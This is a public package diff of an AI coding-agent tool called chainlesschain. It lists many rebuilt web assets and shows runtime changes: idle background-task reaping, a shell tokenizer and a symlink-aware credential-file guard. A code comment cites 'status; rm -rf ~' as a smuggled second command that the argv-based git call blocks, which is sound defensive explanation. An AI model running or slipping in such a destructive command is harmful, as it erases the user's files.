chainlesschain 0.162.123 → 0.162.125
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/assets/web-panel/.build-hash +1 -1
- package/src/assets/web-panel/assets/AIOps-DcqNhZhA.js +1 -0
- package/src/assets/web-panel/assets/{ActionButton-BugJtiJc.js → ActionButton-BigtmPoq.js} +1 -1
- package/src/assets/web-panel/assets/Analytics-1J_X_HF4.js +3 -0
- package/src/assets/web-panel/assets/{AppLayout-Cb0eHetM.js → AppLayout-DlcDG_a_.js} +5 -5
- package/src/assets/web-panel/assets/Audit-Do-y8_3w.js +1 -0
- package/src/assets/web-panel/assets/Backup-S2Df-50Y.js +1 -0
- package/src/assets/web-panel/assets/{BaseInput-CZ0c7QHk.js → BaseInput-D5kgWJfk.js} +1 -1
- package/src/assets/web-panel/assets/{Chat-CaKDT3wV.js → Chat-aUcp3kN1.js} +6 -6
- package/src/assets/web-panel/assets/ChatBubbleRenderer-Pg7dIsiE.js +1 -0
- package/src/assets/web-panel/assets/{Checkbox-C6-Iu3bG.js → Checkbox-DTg1U7Xs.js} +1 -1
- package/src/assets/web-panel/assets/Codegen-YO9ZZ4Ky.js +1 -0
- package/src/assets/web-panel/assets/{Col-DVBrO7AN.js → Col-BHonE9fU.js} +1 -1
- package/src/assets/web-panel/assets/Community-DA2AlEFh.js +1 -0
- package/src/assets/web-panel/assets/{Compact-DM4ZgFSE.js → Compact-DULxLRNg.js} +1 -1
- package/src/assets/web-panel/assets/Compliance-BZqfuuZL.js +1 -0
- package/src/assets/web-panel/assets/{Cowork-CJwiWkUY.js → Cowork-CJe3vyMS.js} +2 -2
- package/src/assets/web-panel/assets/{Cron-dsdXHvrO.js → Cron-CeV8AtRu.js} +2 -2
- package/src/assets/web-panel/assets/Crosschain-CAg66zS5.js +1 -0
- package/src/assets/web-panel/assets/{DID-BB_LBLYT.js → DID-Dtup5JZm.js} +2 -2
- package/src/assets/web-panel/assets/Dashboard-DAR_8PNy.js +3 -0
- package/src/assets/web-panel/assets/{Dropdown-dTFtVnKk.js → Dropdown-K5bTaCYN.js} +1 -1
- package/src/assets/web-panel/assets/{EmailListRenderer-yqdttzXV.js → EmailListRenderer-C890uErx.js} +1 -1
- package/src/assets/web-panel/assets/{FamilyGuardDashboard-DfX3YpUU.js → FamilyGuardDashboard-B-Tj_8yM.js} +1 -1
- package/src/assets/web-panel/assets/Federation-C6WZ98ni.js +1 -0
- package/src/assets/web-panel/assets/{FormItemContext-DNMwIh7X.js → FormItemContext-D-LTfGWd.js} +1 -1
- package/src/assets/web-panel/assets/{GenericCardRenderer-C-T8UQf0.js → GenericCardRenderer-C80DK4W7.js} +1 -1
- package/src/assets/web-panel/assets/{Git-SURFhkLi.js → Git-Cjvvv3zW.js} +2 -2
- package/src/assets/web-panel/assets/Governance-C0BND77H.js +1 -0
- package/src/assets/web-panel/assets/Inference-BL9kTtSu.js +1 -0
- package/src/assets/web-panel/assets/KnowledgeGraph-CnVTBmJf.js +1 -0
- package/src/assets/web-panel/assets/{Logs-DjuWREBJ.js → Logs-CbCbg7K6.js} +2 -2
- package/src/assets/web-panel/assets/Marketplace-CG5On-fH.js +1 -0
- package/src/assets/web-panel/assets/{McpTools-D0waMomb.js → McpTools-AYYDZZK7.js} +5 -5
- package/src/assets/web-panel/assets/{Memory-Ci768GQ3.js → Memory-tMWbMDQq.js} +2 -2
- package/src/assets/web-panel/assets/MobileBridge-BAOsf4wB.js +1 -0
- package/src/assets/web-panel/assets/{MobileProjects-RpFuAiNz.js → MobileProjects-BT-2komQ.js} +1 -1
- package/src/assets/web-panel/assets/{Mtc-DJdw8btT.js → Mtc-BFwfC63n.js} +5 -5
- package/src/assets/web-panel/assets/{MtcAudit-Dc596XgH.js → MtcAudit-DYG3CWdH.js} +4 -4
- package/src/assets/web-panel/assets/{Multisig--Qs7eGsH.js → Multisig-KJwd0yWT.js} +3 -3
- package/src/assets/web-panel/assets/NLProgramming-BmL5dNWm.js +1 -0
- package/src/assets/web-panel/assets/{Notes-uMxjj66_.js → Notes-DmkaVaMc.js} +3 -3
- package/src/assets/web-panel/assets/{NotificationSettings-C4ikBOsm.js → NotificationSettings-tmVQszDZ.js} +1 -1
- package/src/assets/web-panel/assets/{OrderTableRenderer-BpmdunAz.js → OrderTableRenderer-BtrR7anf.js} +1 -1
- package/src/assets/web-panel/assets/Organization-pppktQyW.js +4 -0
- package/src/assets/web-panel/assets/{Overflow-B-4_IpbB.js → Overflow-D3lBoQDA.js} +1 -1
- package/src/assets/web-panel/assets/{P2P-DdOf9BZs.js → P2P-BgE2qGlZ.js} +2 -2
- package/src/assets/web-panel/assets/PdhVaultBrowser-D26Bz5gS.js +7 -0
- package/src/assets/web-panel/assets/Permissions-BR8no2Xe.js +4 -0
- package/src/assets/web-panel/assets/{PersonalDataHub-B3WcvKni.js → PersonalDataHub-DabbyQEF.js} +2 -2
- package/src/assets/web-panel/assets/Pipeline-n4sNpEz8.js +1 -0
- package/src/assets/web-panel/assets/Privacy-CGNp4n8M.js +1 -0
- package/src/assets/web-panel/assets/{ProjectInit-BQjMDkML.js → ProjectInit-CAVA5VsX.js} +2 -2
- package/src/assets/web-panel/assets/ProjectSettings-GCgkfM7A.js +2 -0
- package/src/assets/web-panel/assets/Projects-BYK17p52.js +1 -0
- package/src/assets/web-panel/assets/{Providers-Bl0dw6cI.js → Providers-DpUT5W-d.js} +1 -1
- package/src/assets/web-panel/assets/{QuickAsk-BDrk7l3t.js → QuickAsk-ZJxTb7vi.js} +1 -1
- package/src/assets/web-panel/assets/Recommend-CIzFRDk1.js +1 -0
- package/src/assets/web-panel/assets/Reputation-lQ_WDNZn.js +1 -0
- package/src/assets/web-panel/assets/Row-1MEtrgtF.js +1 -0
- package/src/assets/web-panel/assets/{RssFeed-9-Fxh3_w.js → RssFeed-SSgcPPl4.js} +2 -2
- package/src/assets/web-panel/assets/Search-CcTMOGNY.js +1 -0
- package/src/assets/web-panel/assets/{Security-D6CySV7r.js → Security-BA1KMaDx.js} +3 -3
- package/src/assets/web-panel/assets/{Services-Co8Mk8qE.js → Services-_aj7czZn.js} +2 -2
- package/src/assets/web-panel/assets/{Skeleton-BdON8M-1.js → Skeleton-BWgg_0Zr.js} +1 -1
- package/src/assets/web-panel/assets/{Skills-CEJE1Go1.js → Skills-C2ZIziYM.js} +1 -1
- package/src/assets/web-panel/assets/Sla-CYxp4axY.js +1 -0
- package/src/assets/web-panel/assets/SpeechSettings-C7Csp1jV.js +1 -0
- package/src/assets/web-panel/assets/{SyncSettings-52NXsfyj.js → SyncSettings-svGeswiw.js} +2 -2
- package/src/assets/web-panel/assets/{Tasks-He7CweW6.js → Tasks-ClISj6oK.js} +1 -1
- package/src/assets/web-panel/assets/Templates-CmO-Fp7r.js +1 -0
- package/src/assets/web-panel/assets/Tenant-a3Ac3lxz.js +1 -0
- package/src/assets/web-panel/assets/Terminal-DyJIRh81.js +3 -0
- package/src/assets/web-panel/assets/{TimelineRenderer-BdfqBQmM.js → TimelineRenderer-acXS5N5h.js} +1 -1
- package/src/assets/web-panel/assets/Tokens-DJW0KqV4.js +1 -0
- package/src/assets/web-panel/assets/{Trigger-Dt_N_rvo.js → Trigger-0HeTi4r6.js} +1 -1
- package/src/assets/web-panel/assets/Trust-aFym34eo.js +1 -0
- package/src/assets/web-panel/assets/{UkeySign-CW8YdFxg.js → UkeySign-CYhszHJv.js} +1 -1
- package/src/assets/web-panel/assets/{VideoEditing-CU6o7qvp.js → VideoEditing-BbJxPF9X.js} +1 -1
- package/src/assets/web-panel/assets/Wallet-DDthEwiu.js +4 -0
- package/src/assets/web-panel/assets/WebAuthn-DQ6McYPg.js +5 -0
- package/src/assets/web-panel/assets/{WorkflowEditor-BcCA2U8H.js → WorkflowEditor-CnF8zRsi.js} +1 -1
- package/src/assets/web-panel/assets/{chat-Cxl5DGsc.js → chat-Dzkx2gTP.js} +1 -1
- package/src/assets/web-panel/assets/{colors-FS_7Xggs.js → colors-35T51Oo5.js} +1 -1
- package/src/assets/web-panel/assets/{compact-item-BzXjd3wJ.js → compact-item-TtzNrlu1.js} +1 -1
- package/src/assets/web-panel/assets/{createContext-DhF9bi_u.js → createContext-Y1LkWrYb.js} +1 -1
- package/src/assets/web-panel/assets/devWarning-D_lwLZ6O.js +1 -0
- package/src/assets/web-panel/assets/{hasIn-Y1a0aV9N.js → hasIn-BOYw1BgS.js} +1 -1
- package/src/assets/web-panel/assets/{index-JUukFpxi.js → index-8jffdb6b.js} +1 -1
- package/src/assets/web-panel/assets/{index-BBtULjKY.js → index-B7aKAZzS.js} +1 -1
- package/src/assets/web-panel/assets/index-BGPEaeB1.js +1 -0
- package/src/assets/web-panel/assets/index-BKRlWHUp.js +1 -0
- package/src/assets/web-panel/assets/{index-Dmjxpu0L.js → index-BSpFe6j5.js} +1 -1
- package/src/assets/web-panel/assets/{index-1iacQgo5.js → index-BWgNn9As.js} +28 -26
- package/src/assets/web-panel/assets/{index-Na733kBa.js → index-Bs69SI96.js} +2 -2
- package/src/assets/web-panel/assets/{index-B48PZ-xM.js → index-BtlJWaSP.js} +2 -2
- package/src/assets/web-panel/assets/index-Bw1iOGhM.js +1 -0
- package/src/assets/web-panel/assets/{index-DVTex5M8.js → index-BxWUEFKy.js} +1 -1
- package/src/assets/web-panel/assets/index-C7Wt5feN.js +1 -0
- package/src/assets/web-panel/assets/index-CEwuCM44.js +1 -0
- package/src/assets/web-panel/assets/index-CLqC2sRT.js +3 -0
- package/src/assets/web-panel/assets/{index-DxGVbuqr.js → index-CPGNc2tF.js} +2 -2
- package/src/assets/web-panel/assets/{index-DfaSKEVD.js → index-CVrUs6rf.js} +1 -1
- package/src/assets/web-panel/assets/index-CZ16GlOs.js +1 -0
- package/src/assets/web-panel/assets/{index-CELVZPNt.js → index-CdyFg4FI.js} +1 -1
- package/src/assets/web-panel/assets/{index-CETvk0NN.js → index-CqhwG1ox.js} +4 -4
- package/src/assets/web-panel/assets/index-Cs82BHAj.js +1 -0
- package/src/assets/web-panel/assets/{index-D3IVAG9l.js → index-D2od7Bgx.js} +1 -1
- package/src/assets/web-panel/assets/{index-Sl-sLj3T.js → index-D47robkX.js} +1 -1
- package/src/assets/web-panel/assets/{index-Ci7PSoQn.js → index-D4BgCBa3.js} +2 -2
- package/src/assets/web-panel/assets/index-D6tG4B25.js +55 -0
- package/src/assets/web-panel/assets/index-D7dCBw_M.js +1 -0
- package/src/assets/web-panel/assets/index-DAizH273.js +21 -0
- package/src/assets/web-panel/assets/{index-GCd5hs58.js → index-DFhlelzN.js} +2 -2
- package/src/assets/web-panel/assets/index-DhMSOd_2.js +1 -0
- package/src/assets/web-panel/assets/index-Dhfw-BXs.js +12 -0
- package/src/assets/web-panel/assets/index-DjeUZxE5.js +1 -0
- package/src/assets/web-panel/assets/{index-BnvaUocg.js → index-DmkG479D.js} +2 -2
- package/src/assets/web-panel/assets/index-Dof7lWA_.js +13 -0
- package/src/assets/web-panel/assets/{index-BNmWkPqm.js → index-Dx0hIfC-.js} +1 -1
- package/src/assets/web-panel/assets/index-DzzgU4IU.js +1 -0
- package/src/assets/web-panel/assets/index-G4ClSmJc.js +1 -0
- package/src/assets/web-panel/assets/{index-Cn9lbqaS.js → index-KgXrlfNF.js} +1 -1
- package/src/assets/web-panel/assets/{index-DUcVF8e6.js → index-NM9Oke2k.js} +2 -2
- package/src/assets/web-panel/assets/{index-DLyIxnjc.js → index-XIuZV9by.js} +3 -3
- package/src/assets/web-panel/assets/{index-BTltEtoG.js → index-hyqEKkBT.js} +1 -1
- package/src/assets/web-panel/assets/{index-uLoKviUT.js → index-zF77jnI2.js} +2 -2
- package/src/assets/web-panel/assets/{initDefaultProps-D6QmlnQ-.js → initDefaultProps-DD5y5msp.js} +1 -1
- package/src/assets/web-panel/assets/motion-BuoutMia.js +11 -0
- package/src/assets/web-panel/assets/{move-Bpph6B_N.js → move-DkpjqOXg.js} +1 -1
- package/src/assets/web-panel/assets/mtc-parser-BmGJD-v-.js +1 -0
- package/src/assets/web-panel/assets/{omit-Dx0YMbWn.js → omit-DftUE0Sz.js} +1 -1
- package/src/assets/web-panel/assets/{pickAttrs-D-a8Fm6C.js → pickAttrs-DDRb9FIu.js} +1 -1
- package/src/assets/web-panel/assets/{placementArrow-DXFSVgxv.js → placementArrow-DPgtxOOD.js} +1 -1
- package/src/assets/web-panel/assets/{responsiveObserve-CxhQ1EaK.js → responsiveObserve-BQFRzFeZ.js} +1 -1
- package/src/assets/web-panel/assets/{slide-IlBI0XU8.js → slide-DQ4lmUSz.js} +1 -1
- package/src/assets/web-panel/assets/{statusUtils-COoXVzje.js → statusUtils-C1TR4ZiQ.js} +1 -1
- package/src/assets/web-panel/assets/{styleChecker-DCuq89M_.js → styleChecker-B-Suj978.js} +1 -1
- package/src/assets/web-panel/assets/{useFlexGapSupport-tfNE1ALO.js → useFlexGapSupport-Q7bDZ3EI.js} +1 -1
- package/src/assets/web-panel/assets/{useFs-DD4bzBkU.js → useFs-DHjRLyQH.js} +1 -1
- package/src/assets/web-panel/assets/{usePersonalDataHub-DVkH1hbT.js → usePersonalDataHub-lQOvCvCr.js} +1 -1
- package/src/assets/web-panel/assets/{vnode-D1ZmXyxM.js → vnode-Ie0g4-p3.js} +1 -1
- package/src/assets/web-panel/assets/{zoom-DblBUHfi.js → zoom-CHP0YEoH.js} +1 -1
- package/src/assets/web-panel/index.html +1 -1
- package/src/commands/agent.js +10 -0
- package/src/commands/ask.js +24 -1
- package/src/commands/ide.js +60 -5
- package/src/commands/incentive.js +22 -22
- package/src/commands/init.js +5 -4
- package/src/commands/instinct.js +18 -5
- package/src/commands/mcp.js +30 -3
- package/src/commands/memory.js +18 -5
- package/src/commands/mtc.js +5 -1
- package/src/gateways/http/envelope-http-server.js +17 -2
- package/src/gateways/terminal/PtyManager.js +15 -2
- package/src/gateways/ws/message-dispatcher.js +4 -1
- package/src/gateways/ws/ws-server.js +20 -0
- package/src/gateways/ws/ws-session-gateway.js +72 -4
- package/src/harness/background-task-manager.js +5 -1
- package/src/harness/jsonl-session-store.js +51 -0
- package/src/harness/mcp-client.js +119 -21
- package/src/harness/prompt-compressor.js +24 -5
- package/src/harness/worktree-isolator.js +25 -10
- package/src/lib/agent-core.js +4 -0
- package/src/lib/autonomous-agent.js +36 -6
- package/src/lib/chat-intent-service.js +18 -4
- package/src/lib/checkpoint-store.js +54 -4
- package/src/lib/claude-code-bridge.js +48 -3
- package/src/lib/cost-budget.js +13 -2
- package/src/lib/credential-guard.js +45 -0
- package/src/lib/git-integration.js +68 -3
- package/src/lib/goal-store.js +11 -0
- package/src/lib/hook-manager.js +4 -0
- package/src/lib/hook-runner.cjs +11 -1
- package/src/lib/interactive-planner.js +4 -3
- package/src/lib/jetbrains-bridge.js +147 -0
- package/src/lib/json-schema-output.js +47 -0
- package/src/lib/jsonl-session-store.js +1 -0
- package/src/lib/learning/reflection-engine.js +4 -3
- package/src/lib/learning/skill-improver.js +4 -3
- package/src/lib/learning/skill-synthesizer.js +4 -3
- package/src/lib/llm-pricing.js +11 -4
- package/src/lib/llm-providers.js +11 -1
- package/src/lib/mcp-oauth.js +220 -20
- package/src/lib/mcp-serve.js +85 -6
- package/src/lib/orchestrator.js +42 -4
- package/src/lib/process-manager.js +31 -3
- package/src/lib/repl-bang-memorize.js +9 -1
- package/src/lib/repl-completer.js +29 -0
- package/src/lib/runnable-provider.js +7 -1
- package/src/lib/session-insights.js +13 -6
- package/src/lib/session-usage.js +21 -3
- package/src/lib/slot-filler.js +4 -3
- package/src/lib/status-line.cjs +4 -1
- package/src/lib/sub-agent-context.js +15 -0
- package/src/lib/web-fetch.js +54 -3
- package/src/lib/workflow-engine.js +35 -11
- package/src/repl/agent-repl.js +29 -0
- package/src/runtime/agent-core.js +252 -28
- package/src/runtime/headless-runner.js +13 -0
- package/src/runtime/headless-stream.js +133 -17
- package/src/runtime/mcp-config.js +72 -3
- package/src/runtime/pipe-safety.js +51 -0
- package/src/runtime/policies/agent-policy.js +3 -0
- package/src/assets/web-panel/assets/AIOps-C5CSd8pY.js +0 -1
- package/src/assets/web-panel/assets/Analytics-CzxpcV9E.js +0 -3
- package/src/assets/web-panel/assets/Audit-qjq04wh8.js +0 -1
- package/src/assets/web-panel/assets/Backup-C2Y_XNBA.js +0 -1
- package/src/assets/web-panel/assets/ChatBubbleRenderer-TeKnMwPj.js +0 -1
- package/src/assets/web-panel/assets/Codegen-TGLFk6P1.js +0 -1
- package/src/assets/web-panel/assets/Community-tg6-Rik1.js +0 -1
- package/src/assets/web-panel/assets/Compliance-DFeWryxt.js +0 -1
- package/src/assets/web-panel/assets/Crosschain-p7_5Gq-7.js +0 -1
- package/src/assets/web-panel/assets/Dashboard-Bh_HkNSD.js +0 -3
- package/src/assets/web-panel/assets/Federation-BJApfPV4.js +0 -1
- package/src/assets/web-panel/assets/Governance-B4u_KsfE.js +0 -1
- package/src/assets/web-panel/assets/Inference-2kr_rKQd.js +0 -1
- package/src/assets/web-panel/assets/KnowledgeGraph-h-nL7J6x.js +0 -1
- package/src/assets/web-panel/assets/Marketplace-W9Iz8b2m.js +0 -1
- package/src/assets/web-panel/assets/MobileBridge-4jAehfcz.js +0 -3
- package/src/assets/web-panel/assets/NLProgramming-D3y71FDX.js +0 -1
- package/src/assets/web-panel/assets/Organization-BBEmFNGM.js +0 -4
- package/src/assets/web-panel/assets/PdhVaultBrowser-DDU2Zc9Q.js +0 -7
- package/src/assets/web-panel/assets/Permissions-B1ebgevF.js +0 -4
- package/src/assets/web-panel/assets/Pipeline-DASuPDc3.js +0 -1
- package/src/assets/web-panel/assets/Privacy-DnixwmhJ.js +0 -1
- package/src/assets/web-panel/assets/ProjectSettings-dHyZ3SxW.js +0 -2
- package/src/assets/web-panel/assets/Projects-BGWEJIVT.js +0 -1
- package/src/assets/web-panel/assets/Recommend-BPKof_CA.js +0 -1
- package/src/assets/web-panel/assets/Reputation-6MNJLklK.js +0 -1
- package/src/assets/web-panel/assets/Row-DmGJwpfd.js +0 -1
- package/src/assets/web-panel/assets/Search-CCHjey_D.js +0 -1
- package/src/assets/web-panel/assets/Sla-BSxFvFX9.js +0 -1
- package/src/assets/web-panel/assets/SpeechSettings-C3rShYlV.js +0 -1
- package/src/assets/web-panel/assets/Templates-UtjBlJIO.js +0 -1
- package/src/assets/web-panel/assets/Tenant-Dd5XNbYF.js +0 -1
- package/src/assets/web-panel/assets/Terminal-pFyh42cu.js +0 -3
- package/src/assets/web-panel/assets/Tokens-CsgNsrdQ.js +0 -1
- package/src/assets/web-panel/assets/Trust-B1lJzsPn.js +0 -1
- package/src/assets/web-panel/assets/Wallet-DPxjEhbN.js +0 -4
- package/src/assets/web-panel/assets/WebAuthn-CuJ29YAF.js +0 -5
- package/src/assets/web-panel/assets/community-parser-Cuyslaku.js +0 -3
- package/src/assets/web-panel/assets/devWarning-B1j78JeH.js +0 -1
- package/src/assets/web-panel/assets/index--fcP34eT.js +0 -1
- package/src/assets/web-panel/assets/index-1khPb4ZS.js +0 -1
- package/src/assets/web-panel/assets/index-B_Z0PHC0.js +0 -12
- package/src/assets/web-panel/assets/index-BaN6wKWx.js +0 -1
- package/src/assets/web-panel/assets/index-BepInmSi.js +0 -1
- package/src/assets/web-panel/assets/index-BllceSdr.js +0 -1
- package/src/assets/web-panel/assets/index-Bt_0ygjA.js +0 -1
- package/src/assets/web-panel/assets/index-BzQkdgQW.js +0 -1
- package/src/assets/web-panel/assets/index-C2S8McM1.js +0 -55
- package/src/assets/web-panel/assets/index-CRSkKj9M.js +0 -1
- package/src/assets/web-panel/assets/index-Cgo1J_Kf.js +0 -1
- package/src/assets/web-panel/assets/index-CuTKOay7.js +0 -1
- package/src/assets/web-panel/assets/index-CxYHV8nb.js +0 -13
- package/src/assets/web-panel/assets/index-CzlCP4jP.js +0 -3
- package/src/assets/web-panel/assets/index-DZJMsVI1.js +0 -1
- package/src/assets/web-panel/assets/index-DgHWZVjv.js +0 -21
- package/src/assets/web-panel/assets/index-N7JKRLCC.js +0 -1
- package/src/assets/web-panel/assets/motion-BHrTGY1_.js +0 -11
- package/src/assets/web-panel/assets/mtc-parser-CEQffxds.js +0 -1
|
@@ -16,7 +16,7 @@
|
|
|
16
16
|
|
|
17
17
|
import fs from "fs";
|
|
18
18
|
import path from "path";
|
|
19
|
-
import { execSync, spawn } from "child_process";
|
|
19
|
+
import { execSync, spawn, spawnSync } from "child_process";
|
|
20
20
|
import os from "os";
|
|
21
21
|
import sharedCodingAgentPolicy from "./coding-agent-policy.cjs";
|
|
22
22
|
import sharedShellPolicy from "./coding-agent-shell-policy.cjs";
|
|
@@ -218,6 +218,49 @@ export function killAllBackgroundShellTasks() {
|
|
|
218
218
|
return killed;
|
|
219
219
|
}
|
|
220
220
|
|
|
221
|
+
// Idle-reap tuning (Claude-Code 2.1.193 "automatic memory-pressure reaping for
|
|
222
|
+
// idle background shell commands"). A running task is a reap candidate when it
|
|
223
|
+
// has produced no output for BG_IDLE_REAP_MS AND the system is under memory
|
|
224
|
+
// pressure (free/total below BG_MEM_PRESSURE_RATIO). Conservative on purpose:
|
|
225
|
+
// idle-but-active tasks and a healthy machine are left alone, and the whole
|
|
226
|
+
// behaviour is off when CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP=1.
|
|
227
|
+
const BG_IDLE_REAP_MS = 5 * 60 * 1000; // 5 min of silence
|
|
228
|
+
const BG_MEM_PRESSURE_RATIO = 0.1; // free < 10% of total = pressure
|
|
229
|
+
|
|
230
|
+
/**
|
|
231
|
+
* Reap idle background shell tasks when the system is under memory pressure, so
|
|
232
|
+
* a forgotten `npm run dev` or a wedged build can't sit on memory indefinitely.
|
|
233
|
+
* No-op on a healthy machine (the pressure gate) or when disabled by env. Deps
|
|
234
|
+
* (now / freemem / totalmem / thresholds) are injectable for tests.
|
|
235
|
+
* @returns {string[]} ids of reaped tasks
|
|
236
|
+
*/
|
|
237
|
+
export function reapIdleBackgroundShellTasks(deps = {}) {
|
|
238
|
+
if (process.env.CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP === "1") return [];
|
|
239
|
+
const now = deps.now || Date.now;
|
|
240
|
+
const freemem = deps.freemem || os.freemem;
|
|
241
|
+
const totalmem = deps.totalmem || os.totalmem;
|
|
242
|
+
const idleMs = deps.idleMs != null ? deps.idleMs : BG_IDLE_REAP_MS;
|
|
243
|
+
const ratio =
|
|
244
|
+
deps.pressureRatio != null ? deps.pressureRatio : BG_MEM_PRESSURE_RATIO;
|
|
245
|
+
const total = totalmem();
|
|
246
|
+
const free = freemem();
|
|
247
|
+
if (!(total > 0) || free / total >= ratio) return []; // healthy → nothing to do
|
|
248
|
+
const t = now();
|
|
249
|
+
const reaped = [];
|
|
250
|
+
for (const task of _backgroundShellTasks.values()) {
|
|
251
|
+
if (task.status !== "running") continue;
|
|
252
|
+
const last = task.lastActivityAt || Date.parse(task.startedAt) || 0;
|
|
253
|
+
if (t - last < idleMs) continue; // still producing output recently
|
|
254
|
+
if (_killTask(task)) {
|
|
255
|
+
task.status = "reaped";
|
|
256
|
+
task.endedAt = new Date().toISOString();
|
|
257
|
+
task.error = "reaped: idle under memory pressure";
|
|
258
|
+
reaped.push(task.id);
|
|
259
|
+
}
|
|
260
|
+
}
|
|
261
|
+
return reaped;
|
|
262
|
+
}
|
|
263
|
+
|
|
221
264
|
// Foreground (synchronous) run_shell timeout. Configurable per-call via the
|
|
222
265
|
// optional `timeout` arg; defaults to 60s and is hard-capped at 10 min so a
|
|
223
266
|
// synchronous call can never wedge the loop indefinitely (use run_in_background
|
|
@@ -668,6 +711,50 @@ const IDE_DIFF_EDIT_TOOLS = new Set([
|
|
|
668
711
|
"edit_file_hashed",
|
|
669
712
|
]);
|
|
670
713
|
|
|
714
|
+
/**
|
|
715
|
+
* Quote-aware shell tokenizer (mirrors gateways/ws `tokenizeCommand`). The `git`
|
|
716
|
+
* tool runs the model-supplied command via argv (spawnSync, NO shell), so a
|
|
717
|
+
* string like `status; rm -rf ~` can't inject a second command through the
|
|
718
|
+
* shell — git just sees `status;` as an unknown subcommand. A quoted arg (e.g.
|
|
719
|
+
* a commit message) keeps its content because quotes are consumed here.
|
|
720
|
+
*/
|
|
721
|
+
export function tokenizeShellWords(input) {
|
|
722
|
+
const args = [];
|
|
723
|
+
let current = "";
|
|
724
|
+
let inDouble = false;
|
|
725
|
+
let inSingle = false;
|
|
726
|
+
let escape = false;
|
|
727
|
+
for (const ch of String(input || "")) {
|
|
728
|
+
if (escape) {
|
|
729
|
+
current += ch;
|
|
730
|
+
escape = false;
|
|
731
|
+
continue;
|
|
732
|
+
}
|
|
733
|
+
if (ch === "\\" && inDouble) {
|
|
734
|
+
escape = true;
|
|
735
|
+
continue;
|
|
736
|
+
}
|
|
737
|
+
if (ch === '"' && !inSingle) {
|
|
738
|
+
inDouble = !inDouble;
|
|
739
|
+
continue;
|
|
740
|
+
}
|
|
741
|
+
if (ch === "'" && !inDouble) {
|
|
742
|
+
inSingle = !inSingle;
|
|
743
|
+
continue;
|
|
744
|
+
}
|
|
745
|
+
if ((ch === " " || ch === "\t") && !inDouble && !inSingle) {
|
|
746
|
+
if (current.length > 0) {
|
|
747
|
+
args.push(current);
|
|
748
|
+
current = "";
|
|
749
|
+
}
|
|
750
|
+
continue;
|
|
751
|
+
}
|
|
752
|
+
current += ch;
|
|
753
|
+
}
|
|
754
|
+
if (current.length > 0) args.push(current);
|
|
755
|
+
return args;
|
|
756
|
+
}
|
|
757
|
+
|
|
671
758
|
/**
|
|
672
759
|
* Compute the content an edit tool WOULD write, without writing it — the
|
|
673
760
|
* left/right sides for an IDE diff review. Mirrors the corresponding
|
|
@@ -1040,14 +1127,16 @@ export async function executeTool(name, args, context = {}) {
|
|
|
1040
1127
|
// customizations), this safety surface stays on under --safe-mode by design.
|
|
1041
1128
|
if (!ruleAllowed && (name === "read_file" || name === "run_shell")) {
|
|
1042
1129
|
const {
|
|
1043
|
-
|
|
1130
|
+
credentialFileReasonResolved,
|
|
1044
1131
|
commandReadsCredentials,
|
|
1045
1132
|
credentialGuardDisabled,
|
|
1046
1133
|
} = await import("../lib/credential-guard.js");
|
|
1047
1134
|
if (!credentialGuardDisabled(process.env)) {
|
|
1048
1135
|
let credReason = null;
|
|
1049
1136
|
if (name === "read_file" && args?.path) {
|
|
1050
|
-
|
|
1137
|
+
// Resolve symlinks: an innocent-named link to a credential file must not
|
|
1138
|
+
// skip the prompt (fs.readFileSync follows the link).
|
|
1139
|
+
credReason = credentialFileReasonResolved(args.path, { cwd });
|
|
1051
1140
|
} else if (name === "run_shell" && args?.command) {
|
|
1052
1141
|
const hit = commandReadsCredentials(args.command);
|
|
1053
1142
|
credReason = hit ? hit.reason : null;
|
|
@@ -1156,6 +1245,7 @@ export async function executeTool(name, args, context = {}) {
|
|
|
1156
1245
|
additionalDirectories: context.additionalDirectories || null,
|
|
1157
1246
|
ruleAllowed,
|
|
1158
1247
|
subAgentDepth: context.subAgentDepth || 0,
|
|
1248
|
+
subAgentBudget: context.subAgentBudget || null,
|
|
1159
1249
|
interactiveApproval: context.interactiveApproval || false,
|
|
1160
1250
|
});
|
|
1161
1251
|
} catch (err) {
|
|
@@ -1527,6 +1617,7 @@ async function executeToolInner(
|
|
|
1527
1617
|
additionalDirectories,
|
|
1528
1618
|
ruleAllowed = false,
|
|
1529
1619
|
subAgentDepth = 0,
|
|
1620
|
+
subAgentBudget = null,
|
|
1530
1621
|
interactiveApproval = false,
|
|
1531
1622
|
},
|
|
1532
1623
|
) {
|
|
@@ -1795,6 +1886,10 @@ async function executeToolInner(
|
|
|
1795
1886
|
// polls output + completion via check_shell. No timeout — that's the whole
|
|
1796
1887
|
// point of backgrounding (builds, test suites, dev servers).
|
|
1797
1888
|
if (args.run_in_background === true) {
|
|
1889
|
+
// Free memory from idle background tasks before adding another, so a
|
|
1890
|
+
// long agent run can't accumulate forgotten dev servers (no-op unless
|
|
1891
|
+
// the machine is actually under memory pressure).
|
|
1892
|
+
reapIdleBackgroundShellTasks();
|
|
1798
1893
|
const id = `bg_${++_backgroundTaskSeq}`;
|
|
1799
1894
|
const task = {
|
|
1800
1895
|
id,
|
|
@@ -1805,6 +1900,7 @@ async function executeToolInner(
|
|
|
1805
1900
|
signal: null,
|
|
1806
1901
|
error: null,
|
|
1807
1902
|
startedAt: new Date().toISOString(),
|
|
1903
|
+
lastActivityAt: Date.now(),
|
|
1808
1904
|
endedAt: null,
|
|
1809
1905
|
out: _newBgStream(),
|
|
1810
1906
|
err: _newBgStream(),
|
|
@@ -1836,11 +1932,17 @@ async function executeToolInner(
|
|
|
1836
1932
|
task.child = child;
|
|
1837
1933
|
if (child.stdout) {
|
|
1838
1934
|
child.stdout.setEncoding("utf8");
|
|
1839
|
-
child.stdout.on("data", (d) =>
|
|
1935
|
+
child.stdout.on("data", (d) => {
|
|
1936
|
+
task.lastActivityAt = Date.now();
|
|
1937
|
+
_appendBgStream(task.out, d);
|
|
1938
|
+
});
|
|
1840
1939
|
}
|
|
1841
1940
|
if (child.stderr) {
|
|
1842
1941
|
child.stderr.setEncoding("utf8");
|
|
1843
|
-
child.stderr.on("data", (d) =>
|
|
1942
|
+
child.stderr.on("data", (d) => {
|
|
1943
|
+
task.lastActivityAt = Date.now();
|
|
1944
|
+
_appendBgStream(task.err, d);
|
|
1945
|
+
});
|
|
1844
1946
|
}
|
|
1845
1947
|
child.on("error", (err) => {
|
|
1846
1948
|
task.status = "error";
|
|
@@ -1971,27 +2073,44 @@ async function executeToolInner(
|
|
|
1971
2073
|
});
|
|
1972
2074
|
